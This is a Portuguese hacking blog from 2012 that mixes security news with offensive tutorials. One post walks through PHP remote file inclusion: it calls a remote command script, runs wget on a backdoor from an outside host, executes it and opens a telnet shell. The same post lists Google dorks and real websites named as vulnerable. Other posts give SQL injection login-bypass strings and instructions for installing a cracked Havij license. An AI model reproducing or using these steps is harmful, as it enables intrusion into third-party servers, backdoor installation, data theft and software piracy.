Invasão no Windows 8 através do Java Signed Applet

Este vulnerabilidade permite ao invasor obter qualquer dado de um computador como Windows 8, pois através de engenharia social como induzir os usuários.

Detecção de Intrusos com SNORT - Back|Track 5R3

Sistema de detecção de intrusão , nada mais é do que uma ferramenta capaz de identificar tentativas de invasão em tempo real.

Hackeando e obtendo informações de dispositivos Android

Uma técnica de "hackear" os dispositivos moveis com o sistema operacional Android. Vamos utilizar a ferramente já conhecida por alguns, o Metasploit.

terça-feira, 31 de janeiro de 2012

Anonymous derruba site do Bradesco


Desde o início da manhã de hoje (31), o site do banco Bradesco está fora do ar. O que poderia ser considerado apenas uma instabilidade, na verdade, está sendo classificado como um golpe hacker de pessoas ligadas ao Anonymous, grupo que está fazendo ataques constantes por todo o mundo em retaliação a projetos de lei como o SOPA, PIPA e o ACTA.

Um dos perfis brasileiros do grupo no Twitter, @anonbrnews, assumiu a autoria do ato ao postar a seguinte mensagem no microblog: “#OpWeeksPayment - ATENÇÃO MARUJOS: Alvo atingido! O bradesco.com.br está à deriva! TANGO DOWN!”.

De acordo com mensagens anteriores, este ataque é o segundo de uma grande sequência contra os bancos brasileiros, prometida para o decorrer dessa semana. Ontem o alvo foi o Itaú, embora responsáveis pelo site tenham afirmado que houve apenas uma pequena interrupção no serviço. Já o Bradesco ainda não se pronunciou sobre os ataques à sua página.

Atualizando
A página do Bradesco parece estar voltando aos poucos, mais de uma hora depois do ataque. Porém, ainda apresenta intermitências.

 Fonte :tecmundo.com.br


Novo malware se esconde como atualização do Adobe Flash Playe

CLIQUE PARA AMPLIAR


A empresa de segurança Trend Micro lançou um alerta sobre um novo malware, chamado TSPY_EBOD.A. A praga entra no computador quando um site infectado é acessado e, disfarçada de atualização do Adobe Flash Player, leva o usuário a aceitar sua instalação. Por enquanto, ele é compatível apenas com o Mozilla Firefox.

Ao ser executavo, o TSPY_EBOD.A cria um add-on no navegador, chamado Adobe Flash Player 0.2. Por meio de um JavaScript, o malware monitora toda a utilização do computador e cria anúncios falsos em buscas do Google, que levam a páginas infectadas.

A Trend Micro recomenda a todos que mantenham seus navegadores e antivírus atualizados. Tomar cuidado com links enviados por desconhecidos ou instalações não requisitadas também é essencial para manter o PC sempre limpo de ameaças virtuais.

Fonte : TecMundo.com.br


Sql Poizon v1.1 - Mais uma poderosa ferramenta de SQL injection

(CLIQUE NA IMAGEM PARA AMPLIAR)
 

segunda-feira, 30 de janeiro de 2012

O FIM DAS DÚVIDAS - PHP INJECTION

Bom, muita gente tem duvidas sobre PHP Injection, provavelmente a vulnerabilidade mais comum entre defacers/owners.
A vulnerabilidade acontece por desconhecimento do webmaster, ou por distração, eles colocam ‘includes’ para ajudar na criação do seu site sem fazer nenhuma verificação das ’strings’
Um exemplo de um site vulneravel, com 3 partes em uma tabela:

include(’topo.php’);
include(’menu.php’);
include($page);

Existem várias strings, a mais comum é page..
Então um endereço ficticio: http://www.alvo.com.br/index.php?page=novidades.php
Neste exemplo ele carregaria a página novidades.php do site.. Se ela for vulneravel dá para ‘injetar’ páginas maliciosas que executam comandos na maquina que roda o site (por isso o nome PHP Injection)

Estarei usando esse script como referencia (chamado de cmd):

http://kmzrox.by.ru/cmd.gif?&cmd=ls
Obviamente você tentaria: http://www.alvo.com.br/index.php?page=h … if?&cmd=ls
Ops! Se a página for vulneravel ela vai carregar! Se ela funcionar e não estiver em safe mode (uma opção do php.ini) vai listar os aruivos do site (comando ls).
Não é só isso, a partir daqui você usa a sua criatividade, rodar backdoor para ter acesso remoto (por telnet/putty), pacotar pessoas e servers, configurar psybnc, etc.. Só precisará saber alguns comandos de Linux/FreeBSD/SunOS..

Backdoor: kmzrox.by.ru/r0nin
Para usar coloque no ‘cmd’ cd /tmp;wget kmzrox.by.ru/r0nin;chmod 777 r0nin;./r0nin
entra na pasta tmp, baixa a backdoor (exploit), coloca permissão para o arquivo e roda ele
Por exemplo: http://www.alvo.com.br/index.php?page=h … in;./r0nin
Se tudo ocorrer bem e não tiver firewall agora vá iniciar > executar > telnet http://www.alvo.com.br 1666, pronto, você está na maquina, enjoy! :~)

Para procurar no google as páginas separei uma lista de chaves, lembrando que você pode usar inurl:”.pt” (escolhendo a classe do dominio) para procurar páginas somente de um país.

allinurl:”.php?page=”
allinurl:”.php?inc=”
allinurl:”.php?body=”
allinurl:”.php?main=”
allinurl:”.php?pag=”
allinurl:”.php?p=”
allinurl:”.php?content=”
allinurl:”.php?cont=”
allinurl:”.php?c=”
allinurl:”.php?meio=”
allinurl:”.php?x=”
allinurl:”.php?cat=”
allinurl:”.php?site=”
allinurl:”.php?m=”
allinurl:”.php?do=”
allinurl:”.php?x=”
allinurl:”.php?content=”
allinurl:”.php?pagina=”
allinurl:”.php?root=”
allinurl:”.php?include=”
allinurl:”.php?open=”
allinurl:”.php?visualizar=”
allinurl:”.php?conf=”

Achará varios sites, a maioria no padrão:

http://www.interreg3c.net/sixcms/list.php?page=home_en
http://www.ourdocuments.gov/content.php?page=milestone
http://www.safer-networking.org/index.php?page=mirrors
http://www.serviceandinclusion.org/inde … e=nat_conf
Agora é simples, você tem os sites pra procurar e uma cmd, agora é só ir de página em página substituindo os valores da string page para o cmd que vai usar :}
Você pode utilizar exploits para tentar conseguir root (super user) na máquina, assim ter permissão para fazer TUDO com os sites que estão dentro dela, apagar todos os logs, etc.
Aqui vai uma lista de páginas vulneraveis (depois de ler isso vocês já saberão o que fazer), a maioria está protegida ou com firewall, é só para mostrar o que vai acontecer quando uma página é vulneravel :~)

http://www.imobmarques.com.br/pagina.php?pagina=
http://www.effectingchange.luton.ac.uk/ … p?content=
http://www.tourtrans.ru/index.php?page=
http://www.iobchody.unas.cz/index.php?page=
http://www.balustrady.cz/index.php?page=
http://www.kubela.iglu.cz/index.php?inc=
http://www.engelking-elektronik.de/index.php?main=valor
http://www.mob.hu/cgi-bin/index.php?main=valor
http://www.medianlg.hu/index.php?site=
http://www.spillo.it/home.php?main=
http://www.fdf-k22.dk/index.php?main=
http://www.astro.up.pt/investigacao/con … .php?page=
http://www.nyinvestmentproperties.com/index.php?main=
http://www.timetoupgrade.us/index.php?main=
http://www.msgames.msu.ac.th/reading.php?page=
http://www.mobilink.com.tr/index.php?page=
http://www.slh.org.tw/tw/index.php?page=
http://www.climb.idv.tw/index.php?page=
http://www.azsrc.com/index.php?page=
Páginas com passthru() bloqueados, quando não aparece nada na box são ignorados, pode continuar procurando. Estou só compartilhando meus conhecimentos, se alguem tiver alguma coisa para complementar

Créditos: dsoul

Lista de Todos os Tipos de Restrições para Windows 2000, XP, Vista, 7, 8, Server 2003 e 2008 (Políticas de Privacidade)

PASSO 1: Abra o Editor do Registro

Todas as restrições são baseadas na edição do Registro. Então você vai precisar abrir o Editor do Registro, fornecendo o comando regedit na caixa Iniciar / EXECUTAR ou menu Pesquisar e pressione Enter. Depois disso vá para a chave de registro mencionada na etapa 2.

PASSO 2: Crie chave do Registro

Quando estiver no Editor do Registro. Ir para a pasta a seguir e criar ou modificar o valor DWORD exigidos conforme mencionado abaixo: 
 1. Restringindo Propriedades do Desktop
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ System
Criar uma nova DWORD NoDispCPL e defina seu valor para 1

2. Restringindo propriedades da barra de tarefas
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ Explorer
Criar NoSetTaskbar novo DWORD e defina seu valor para 1
 
3. Restringindo Propriedades do Sistema
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ Explorer
Criar NoPropertiesMyComputer novo DWORD e defina seu valor para 1
 
4. Restringindo Opções de Pasta
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ Explorer
Criar NoFolderOptions novo DWORD e defina seu valor para 1
 
5. Restringindo o Editor do Registro
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ System
Criar DisableRegistryTools nova DWORD e defina seu valor para 1
6. Restringindo o Gerenciador de Tarefas
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ System
Criar uma nova DWORD DisableTaskMgr e defina seu valor para 1
 
7. Restringindo o Painel de Controle
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ Explorer
Criar NoControlPanel novo DWORD e defina seu valor para 1

8. Restringindo o Prompt de Comando
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Policies \ Microsoft \ Windows \ System
Criar uma nova DWORD DisableCMD e defina seu valor para 2
 
9. Restringindo o bloqueio / desbloqueio de Taskbar
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ Explorer
Criar LockTaskbar novo DWORD e defina seu valor para 1
 
10. Restringindo o botão direito do mouse na barra de tarefas
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ Explorer
Criar NoTrayContextMenu novo DWORD e defina seu valor para 1
 
11. Restringindo Barras de Ferramentas na barra de tarefas
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ Explorer
Criar NoToolbarsOnTaskbar novo DWORD e defina seu valor para 1
 
12. Restringindo drag-and-drop e clique direito em Menu Iniciar
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ Explorer
Criar NoChangeStartMenu novo DWORD e defina seu valor para 1
 
13. Restringindo RUN no menu Iniciar
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ Explorer
Criar uma nova DWORD NoRun e defina seu valor para 1
 
14. Restringindo o Shut Down, Restart, Sleep e Hibernate comandos
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ Explorer
Criar uma nova DWORD NoClose e defina seu valor para 1
 
15. Restringindo Logoff no Menu Iniciar
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ Explorer
Criar uma nova DWORD StartMenuLogoff e defina seu valor para 1
 
16. Restringindo Recurso Active Desktop
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ Explorer
Criar NoActiveDesktop novo DWORD e defina seu valor para 1
 
17. Restringindo adição / remoção de itens de / para Barras de Ferramentas
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ Explorer
Criar uma nova DWORD NoToolbarCustomize e defina seu valor para 1
 
18. Restringindo adicionar / remover barras de ferramentas
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ Explorer
Criar uma nova DWORD NoBandCustomize e defina seu valor para 1

19. Restringindo o recurso Autorun
Visite seguinte tutorial:

20. Restringir a notificação pouco espaço em disco
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ Explorer
Criar NoLowDiskSpaceChecks novo DWORD e defina seu valor para 1
 
21. Restringir a gravação em unidades USB
Vá para seguinte chave:
HKEY_LOCAL_MACHINE \ SYSTEM \ Conjunto de controle atual \ Control \ StorageDevicePolicies
Criar uma nova DWORD WriteProtect e defina seu valor para 1

22. Restringindo a opção "New" no menu de contexto
Vá para seguinte chave:
HKEY_CLASSES_ROOT \ Directory \ Background \ shellex Handlers \ ContextMenu \ New
E excluir o valor do padrão, por exemplo, esvaziá-la.

23. Restringindo "Enviar para" opção no menu de contexto
Vá para seguinte chave:
HKEY_CLASSES_ROOT \ AllFilesystemObjects \ shellex Handlers \ ContextMenu \ Send To
E excluir o valor do padrão, por exemplo, esvaziá-la.
 
24. Restringir qualquer aplicativo desejado
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ Explorer \ DisallowRun
Criação de valor novo String com qualquer nome, como um e defina seu valor para o arquivo o programa desejado do EXE.
por exemplo, Se você quiser restringir o msconfig, em seguida, criar um valor String 1 e defina seu valor como msconfig.exe. Se você quiser restringir programas mais, basta criar mais valores String com nomes de 2, 3 e assim por diante e definir seus valores para o arquivo do programa exe.
 
25. Restringindo Drives em Meu Computador
Vá para seguinte chave:
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ Current Version \ Policies \ Explorer
No lado direito do painel, criar novos DWORD NoViewOnDrive e alterar o seu valor da seguinte forma:
3: Para Restringir A e B apenas drives.
4: Para Restringir apenas a unidade C apenas.

7: Restringir A, B e C unidades apenas.

8: Para Restringir apenas a unidade D.

F: Para Restringir A, B, C, D e unidades apenas.

03FFFFFF: Para Restringir todas as unidades.
Se você quer mais restrições específicas, como você quiser restringir uma combinação de unidades, você pode usar sem decimal. em vez de não hexadecimal. Segue uma lista para todos os drives sem decimal.:
A: 1
B: 2

C: 4

D: 8

E: 16

F: 32

G: 64

H: 128

I: 256

J: 512

K: 1024

L: 2048

M: 4096

N: 8192

O: 16384

P: 32.768

Q: 65536

R: 131072

S: 262144

T: 524288

U: 1048576

V: 2097152

W: 4194304

X: 8388608

Y: 16777216

Z: 33554432

ALL: 67108863
Então, se você quiser desativar uma combinação de unidades, apenas a soma seus números e dar o mesmo valor para NoViewOnDrive. por exemplo, para restringir C, D, E e F drives, dar o valor: 4 +8 +16 +32 = 60
PS: Você também pode ocultar as unidades usando NoDrives valor DWORD. A localização e seu valor permanece mesmo que o truque acima. 

sábado, 28 de janeiro de 2012

Novo Sistema que Permite 340 Undecilhões de Endereços IP Estréia em Junho


Um endereço IP faz a conexão entre a URL que você digita no navegador e o servidor que hospeda o site. Ano passado, ficamos receosos porque os endereços IP acabaram. Precisamos de mais! Felizmente, o padrão IPv6 permite mais endereços, muito na verdade: ele até nos faz usar a palavra “undecilhão”.

Undecilhão? Sim, são mil decilhões. Para você que curte notação científica, o IPv6 permite criar até 2^128 endereços IP, ou seja: 340.282.366.920.938.463.463.374.607.431.768.211.456 endereços. É, acho que vai demorar um pouco até precisarmos de mais.

O IPv6 será permanentemente ativado por grandes sites – como Google, Facebook, Bing e Yahoo – a partir de 6 de junho. Até esta data, grandes provedores de internet – como AT&T, Comcast e KDDI – também vão garantir acesso através do novo protocolo, e Cisco e D-Link vão ativá-lo por padrão em seus roteadores domésticos. 06/06 para o IPv6!

O sistema que usamos hoje, o IPv4, permite até 4,3 bilhões de endereços IP. Isso parecia muito na época em que o padrão foi criado, em 1981. Peraí, será que 340 undecilhões serão pouco daqui a mais 30 anos?

Ubuntu modificado pelo Anonymous

O Anonymous, criou uma versão do Ubuntu 10.04 e esta disponibilizando o arquivo .ISO para quem quiser baixar.
As modificações vão desde programas até a interface escolhida (LXDE+Metacity).


UPDATE


Segue print de tela do sistema.




Segue o download.




sexta-feira, 27 de janeiro de 2012

Proxy Switcher - Navegue no anonimato escolhendo a qual proxy deseja se conectar! + tutorial


Este programinha possibilita encontrar qualquer proxy disponível no mundo e deixando a sua escolha a qual ele deverá usar, assim você escolhe o que melhor lhe agradar em questão de país, velocidade e segurança.

CASO VOCÊ NÃO SAIBA O QUE É PROXY, CLIQUE AQUI.


TUTORIAL COMO USÁ-LO
Pelo fato do programa ser em inglês, talvez seja um pouco complicado entender o funcionamento deste. Para tanto, este pequeno tutorial tem a função de te ajudar a usar o programinha:
  1.  Depois de instalado o programa, execute-o para começarmos;
  2. Na primeira tela, será exibido uma janelinha com o nome Proxy List Wizard, ela o ajudará a procurar pelo mundo proxys disponíveis.Clique em Next, e Depois em Finish, ele irá procurar todos os proxys disponíveis.
  3. Depois que ele terminar, irá aparecer a lista de todos os proxys, agora você terá que testar um, repare que sempre que quiser olhar estes proxys eles estaram na pasta News:
  4. Para testar um proxy, na lista clique com o botão direito do mouse em cima do proxy e clique em Test This Server:
  5. Repare no Log do programa mostrando as mensagens quando o servidor funciona ou não, veja:
    Este é um exemplo de servidor que não funciona a segunda mensagem possui o fundo vermelho, já quando o servidor funcionar, a mensagem virá com o fundo verde. 
  6. Depois de encontrar um servidor que atenda a seus requisitos, selecione-o e na barra de ferramentas superior, clique no botão colorido:, logo após o que você clicou ficará cinza pois você estará conectado ao server e poderá surfar na net em completo anonimato, para desconectar, aquele que estava cinza (2º na imagem) ficará colorido, basta clicar nele.Pronto!

quarta-feira, 25 de janeiro de 2012

Tutorial introdutório sobre como usar o PHP como shell script e integrado ao shell script

Utilizar o php como shell script é uma das boas coisas que o mundo nos fornece. Ou seja, podemos além de usar o shell, awk, perl para criar nossos scripts, usar o php também. Uma das vantagens do php é sua facilidade de aprendizado e vasta documentação na internet.
Na realidade, tudo que você conseguir fazer com o php em cgi, tenha certeza que você vai conseguir fazer em shell ( com algumas mudanças, principalmente na impressão, pois o shell na entende os caracteres html ).
Sendo assim, isto vai abrir para o administrador uma possibilidade bem interessante para gerar scripts e assim, ter mais uma ferramenta para facilitar a sua vida enquanto trabalha no seu servidor.
Exemplo, você pode ter uma função php em cgi para listar seus usuários e usar a base da sua função php para criar um comando no linux que, assim que você for perguntado sobre o status de um usuário, você poderá falar rapidamente, pois a sua aplicação shell php irá acessar a mesma base de dados que a aplicação cgi.
Sendo criativo o administrador pode criar diversos aplicativos para facilitar sua vida ao longo do dia.
Bom, a primeira linha de qualquer script, é sempre o endereço do interpretador script. Para saber qual o endereço do seu interpretador php, ou seja, o binário php, digite no prompt :
ataliba.teixeira@atalibalnx:~?> type php
php is /usr/bin/php

Após isto, podemos criar o famoso Alô mundo, aquele programinha esdrúxulo que fazemos em todas as linguagens quando estamos aprendendo a usá-la para alguma coisa.
#!/usr/local/bin/php -q
Ou seja, no início do seu script você irá colocar, como em perl ou shell, isto aqui :
#!/usr/bin/php -q
Isto dará ao script o poder de trabalhar com o interpretador php em modo console. Agora, porque o -q ? O -q é uma opção do php para suprimir os headers do HTTP que ele solta por padrão. Ou seja, se você não o usar, o script se comportará como um cgi, e irá sujar a saída, sendo necessário para que você possa usar as respostas, um trabalho com expressões regulares, visando suprimir estes headers :-)

print("Alô mundo, eu sou um script PHP !n");
?>
Ou seja, vamos entender o código acima. Primeiramente, temos o interpretador, que vai ser chamado para interpretar o código abaixo. As duas marcações do php devem ser usadas sempre no início do código, pois ele é um código php. Logo após, iremos usar a função print para escrever na tela o famoso Alô Mundo, eu sou um script PHP.
Para rodar o script, é só usar :
ataliba.teixeira@atalibalnx:~?> php alomundo.php
Alô mundo, eu sou um script PHP !
ataliba.teixeira@atalibalnx:~?>
E o resultado já está aí. Logicamente, no fim das contas, este script não serve para nada :-) Mas já é um bom começo de relacionamento com o PHP em modo shell script.
Uma das vantagens do shell script é criar comandos, ou seja, um executável receber argumentos e tratá-los. O PHP, como qualquer linguagem que possa ser tratada com script no shell, tem opções de como tratar isto. Para quem programa em C, deve-se lembrar do famoso argv, que são os argumentos que uma função main recebe passadas pela linha de comando. O PHP, por ser filho direto do Perl que é parente do C ( não vou ter paciência de explicar sobre toda a árvore genealógica do bichinho não ), usa também o argv.
Portanto, para recuperar um dado, você irá usar argv[x], lembrando-se, sempre, que argv[0], é o próprio executável, ou comando que você está usando, ou seja :
ataliba.teixeira@atalibalnx:~?> php teste2.php 1 2
No caso acima , argv[0] é o teste.php, argv[1] é o número 1 e argv[2] é o número 2.
Para exemplificar de um modo mais prático, vamos a um script.
#!/usr/bin/php

$argumento0 = $argv[0];
$argumento1 = $argv[1];
$argumento2 = $argv[2];
print("O comando executado foi $argumento0 e recebeu os argumentos $argumento1 e $argumento2 n");
?>
Executando este comando :
ataliba.teixeira@atalibalnx:~?> php teste3.php 1 2
O comando executado foi teste3.php e recebeu os argumentos 1 e 2
ataliba.teixeira@atalibalnx:~?>
Bom, além disto, podemos fazer alguns scripts mais interativos, como no shell, para pegar dados do usuário, ou seja, capturar uma entrada vida teclado do usuário. Um exemplo, interessante sobre este uso, é um script que vi em um tutorial no Viva o Linux ( que, junto com outros, serviu de base para este tutorial ), e captura do /dev/stdin ( device de std in ou seja, device de entrada, seja ele qual for ) uma string de até 255 caracteres e depois a imprime na tela. Traduzi o script para ele ficar mais amigável, simplesmente para exemplo aqui no tutorial.
Ao executar o comando, ele se comportará assim :
ataliba.teixeira@atalibalnx:~> php teste.php
Informe uma palavra de até 100 Caracteres: ouch
A palavra digitada foi ouch e possui 4 caracteres
ataliba.teixeira@atalibalnx:~>
Ou seja, vemos aqui mais uma aplicação interessante para o script shell em php ( tudo bem que eu prefira sempre a primeira opção por se parecer muito com o jeito UNIX de ser :-P ).
Uma observação que deve ser feita, é que em alguns sistemas o comando php://stdin pode não funcionar. Um teste que pode ser efetuado é tentar usar o /dev/stdin para acesso.
E, para finalizar, ainda podemos usar nossos scripts PHP, para interagir com nossos scripts em shell comum :-) Ou seja, você pode escrever partes do script em PHP e partes do script em shell.
Um exemplo deste uso seria :
#!/bin/sh
echo "This is the Bash section of the code."
/usr/local/bin/php -q << EOF
print("This is the PHP section of the coden");
?>
EOF
Ou seja, o script irá executar a parte em shell, e logo após a parte em php. Veja só a saída :
ataliba.teixeira@atalibalnx:~> sh teste5.php
This is the Bash section of the code.
This is the PHP section of the code
ataliba.teixeira@atalibalnx:~>
Interessante, agora vamos trabalhar algo menos simples :
#!/bin/sh
echo "Esta foi a parte bash deste script".
/usr/local/bin/php -q << EOF
$myVar = "PHP";
print("This is the $myVar e $palavra section of the code.n");
?>
EOF
ataliba.teixeira@atalibalnx:~?> sh teste7.sh
Esta foi a parte bash deste script.
Parse error: parse error in - on line 2
ataliba.teixeira@atalibalnx:~?>
Opa, temos um erro, mas que é fácil de ser resolvido. O shell vai entender as varíaveis do php com o símbolo $ como varíaveis do shell. Para resolver isto temos que escapar as varíaveis, ou seja ...
#!/bin/sh
echo "Esta foi a parte bash deste script".
/usr/local/bin/php -q << EOF
$myVar = "PHP";
print("This is the $myVar e $palavra section of the code.n");
?>
EOF
Finalmente, temos um script rodando ...
Bom, seria isto mesmo o que eu teria para apresentar. Espero que tenha sido útil para alguém e se, realmente foi, ficaria grato com algumas opiniões aqui no site sobre o mesmo :-)
Estarei com o passar dos tempos colocando mais e mais coisas aqui sobre PHP e shell script :-).

RETIRADO DE: http://www.ataliba.eti.br/node/680 muito fera este blog.

domingo, 22 de janeiro de 2012

Havij + Serial até 2099 + tutorial como rodá-lo e executá-lo

Havij é uma ferramenta automatizada de injeção SQL que ajuda os testadores de penetração de encontrar e explorar vulnerabilidades de injeção SQL em uma página web.

Pode tirar proveito de uma aplicação web vulnerável. Ao utilizar este usuário pode executar software de back-end de banco de dados de impressões digitais, recuperar usuários DBMS e senha hashes, tabelas de despejo e colunas, buscar dados do banco de dados, execução de instruções SQL e até mesmo acessar o sistema de arquivos subjacente e executar comandos no sistema operacional.

O poder de Havij que o torna diferente de ferramentas similares é seu método de injeção. A taxa de sucesso é mais do que 95% a injectiong alvos vulneráveis usando Havij.

A interface amigável GUI (Graphical User Interface) do Havij e configurações automáticas e detecções torna fácil de usar para todos, mesmo os usuários amadores.

Senha Para extrair: therebels
Senha Para extrair: therebels
Senha Para extrair: therebels  



PARA RODAR O PROGRAMA E INSTALAR O SERIAL
O programa vem com todos os arquivos mas não roda só clicando no executável, primeiramente você deve descompactar a pasta para algum local de fácil acesso, no meu caso no Desktop. Vamos seguir os seguintes passos:

  1. Dentro da pasta descompactada, procure pelo arquivo com o nome tabctl32.ocx ou somente tabctl32. Depois de encontrar este arquivo devemos copiar ele e levar até a pasta C:\Windows\System32
  2. Agora abra o CMD (Se for no windows 7 tem que ser como administrador) e digite o seguinte comando: regsvr32 tabctl32.ocx
  3. Agora execute o arquivo Havij.exe e veja se o programa roda normalmente, caso sim clique em register, no formulário que aparecer coloque o nome "Cracked@By.Exidous" sem as aspas.
  4. E abaixo procure pela licensa que se encontra dentro da propria pasta do programa com o nome  HavijKey.lic 
  5. Clique em Register! e pronto! Agora você terá a versão FULL do havij!

Tutorial SQL Injection Avançado

Olá caros leitores, venho apresentar um dos melhores tutoriais que ja li sobre SQL I.
Este Grande Tutorial foi feito pelo nosso amigo Oraculo Zeus, creio que vocês irão aprender muito.

Com a popularização da internet e o crescimento dos diversos recursos foi
possível a criação de sites interativos e também, páginas de cadastro de
serviços diversos.
As informações colhidas em cadastros são gravadas em bancos de dados.
Bancos de dados são um conjunto de tabelas que armazenam informações,
lembrando que podem ser desde Nome e Idade até CPFs, números de cartão de crédito etc.
Mas, para haver comunicação entre a página e o banco de dados, é necessária uma linguagem extra. Nesses tempos atuais “de sofrimento e tortura”, a linguagem para bancos de dados mais usada em todo o mundo é a SQL.
SQL significa Structured Query Language, ou Linguagem de Consulta
Estruturada.
Surgida na década de 70, a SQL foi inicialmente criada pela IBM, mas logo
surgiram diversas variações da linguagem, criadas por outras empresas. Já ouviu falar em MySQL e Oracle e não sabia o que era? São as variações da SQL original, criadas pela MySQL AB e pela Oracle Corporation, respectivamente.
A SQL Injection, ou seja, “Injeção de SQL” é uma técnica muito fácil e também muito poderosa. Não são necessários scanners para achar sites vulneráveis e os comandos são enviados diretamente no navegador.
Isso faz da SQL Injection uma ótima técnica. O único pré-requisito para usar tal técnica é um conhecimento básico de SQL.
Aprendendo SQL
Os comandos em SQL são todos em inglês e não são complicados. Esse é o
motivo de ser a linguagem de bancos de dados mais usada no mundo. É esse também o motivo que favorece um invasor
Os comandos que você precisa saber para fazer SQL Injection são:
SELECT – Busca alguma informação do banco de dados e exibe;
INSERT – Insere informações do banco de dados;
DELETE – Apaga informações do banco de dados;
UPDATE – Atualiza, ou seja, sobrescreve uma nova informação.
As principais cláusulas, geralmente usadas com o SELECT, são:
FROM – Especifica a tabela de onde serão retiradas informações.
WHERE – Significa AONDE.
HAVING – Significa TENDO.
ORDER BY – Usado para ordenar algum resultado.
Os operadores lógicos são:
OR – Significa OU
AND – Significa E
NOT – Significa NÃO
Os principais operadores de comparação são:
< – Significa MENOR
> – Significa MAIOR
<> – Significa DIFERENTE
<= – Significa MENOR OU IGUAL
>= – Significa MAIOR OU IGUAL
= - Significa IGUAL
LIKE – Significa PARECIDO.
——————————————————————————————————-
Nota
No operador LIKE usamos o sinal de porcentagem %. O % significa qualquer valor que esteja antes ou depois da palavra fornecida. Não confunda com asterisco (*)!
O % é somente usado no LIKE!
Strings são escritas entre aspas (‘ e ’);
Números são escritos normalmente;
Datas são escritas entre jogo-da-velha (#);
Quando quiser especificar mais de alguma coisa, use parênteses.
——————————————————————————————————-
Nada melhor do que alguns exemplos para entender como funcionam as coisas.
Aqui vão alguns exemplos:
SELECT Usuário FROM Cadastro
SELECT * FROM Cadastro
SELECT Nome,Idade,Telefone FROM Cadastro
SELECT Nome,Idade FROM Cadastro WHERE Idade >= 18
SELECT Nome,CPF FROM Cadastro WHERE Nome LIKE %Fulano%
SELECT * FROM Cadastro ORDER BY Nome
INSERT INTO Cadastro (Nome,Idade) VALUES (‘Fulano’,24)
INSERT INTO Cadastro (Data,Rua) VALUES (#01-01-2008#,‘Rua dos Mortos’)
DELETE Nome FROM Cadastro
DELETE (Nome,Idade,Telefone) FROM Cadastro
DELETE Nome FROM Cadastro WHERE Nome LIKE %Fulano%
UPDATE Nome FROM Cadastro SET Nome=‘Beltrano’ WHERE Nome=‘Fulano’
UPDATE Nome FROM Cadastro SET Nome=‘Fulano’ WHERE Nome LIKE %Beltrano%

Traduzindo
Lembrando que SQL é puro e simples inglês, não é tão difícil entender os
exemplos acima.
SELECT Usuário FROM Cadastro” é a mesma coisa que falar ao banco de dados “Mostre a coluna Usuário da tabela Cadastro”. É também possível fazer o inverso, criar a consulta em língua normal e depois transcrever em SQL.
Essa tradução se trata do que em programação é chamado pseudo-código.
Um Pouco de Prática
Supondo que eu esteja dentro de uma página que usa a SQL para processar o login. Temos o campo de usuário e o campo de senha.
Estamos em uma página ASP (algumas são em PHP) e o código para capturar as entradas no formulário são:
campo_usuario = Request.Form(“usuário”)
campo_senha = Request.Form(“senha”)

A parte mais importante do código da página é:
SELECT (usuario,senha) FROM cadastro
WHERE usuario=’ & campo_usuario & ‘ AND senha=’ & campo_senha & ‘

Essas, você já deve ter percebido, são instruções SQL. Para os que não
conseguem traduzir, o código compara os dados fornecidos no formulário com os dados que estão guardados no banco de dados. Se o usuário e a senha batem, é efetuado o login na página.
Ótimo, temos um formulário simplíssimo de login numa página ASP usando SQL, com segurança. Com segurança? E o que acontece se digitarmos código malicioso, como ’ OR ‘1’=‘1, nos campos de usuário e senha? Vamos ver. O código em SQL executado seria esse:
SELECT (usuario,senha) FROM cadastro
WHERE usuario=’ ‘ OR ‘1’=’1 ‘ AND senha=’ ‘ OR ‘1’=’1 ‘

Vamos fazer uma tradução: “Pegue usuario e senha da tabela cadastro, aonde usuario é vazio ou verificar se 1 é igual a 1 e aonde senha é vazio ou verificar se 1 é igual a 1”, ou seja, ele procura por um campo vazio, ou verifica se 1 é igual a 1. Como 1 é igual a 1, ele entra como administrador, pois estávamos na página de login para administradores.
Em alguns casos, os administradores criam um campo vazio no banco de dados para testes e isso pode furar com sua invasão.
Aqui vão algumas strings:
’ OR ‘1’=‘1
’ OR ‘a’=‘a
’ OR ‘1
’ OR ‘’=‘

——————————————————————————————————-
* Não vou me aprofundar aqui por já haver outras explanações em post’s aqui no fórum
——————————————————————————————————-

Tente traduzir as strings e entender o que elas fazem na página.
[COLOR="Blue"]Quem Procura Acha[/COLOR]
Como o login é feito em páginas da web, podemos usar o Google para achar
páginas vulneráveis. Google tem vários truques, comandos escondidos que a maioria não usa. Como profissionais da área, nós a usamos.
